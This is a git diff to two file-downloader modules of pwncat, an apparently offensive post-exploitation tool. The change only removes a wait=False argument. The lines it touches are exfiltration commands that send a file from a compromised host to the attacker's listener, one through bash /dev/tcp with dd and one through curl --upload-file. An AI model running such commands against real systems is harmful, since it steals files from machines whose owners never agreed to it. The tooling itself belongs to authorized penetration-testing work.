diff --git a/pwncat/downloader/bashtcp.py b/pwncat/downloader/bashtcp.py index 73208a3..47f571a 100644 --- a/pwncat/downloader/bashtcp.py +++ b/pwncat/downloader/bashtcp.py @@ -17,7 +17,4 @@ class BashTCPDownloader(RawDownloader): lport = self.server.server_address[1] remote_path = shlex.quote(self.remote_path) - self.pty.run( - f"""bash -c "dd if={remote_path} > /dev/tcp/{lhost}/{lport}" """, - wait=False, - ) + self.pty.run(f"""bash -c "dd if={remote_path} > /dev/tcp/{lhost}/{lport}" """,) diff --git a/pwncat/downloader/curl.py b/pwncat/downloader/curl.py index ecc48c3..28737db 100644 --- a/pwncat/downloader/curl.py +++ b/pwncat/downloader/curl.py @@ -18,6 +18,4 @@ class CurlDownloader(HTTPDownloader): curl = self.pty.which("curl") remote_path = shlex.quote(self.remote_path) - self.pty.run( - f"{curl} --upload-file {remote_path} http://{lhost}:{lport}", wait=False - ) + self.pty.run(f"{curl} --upload-file {remote_path} http://{lhost}:{lport}")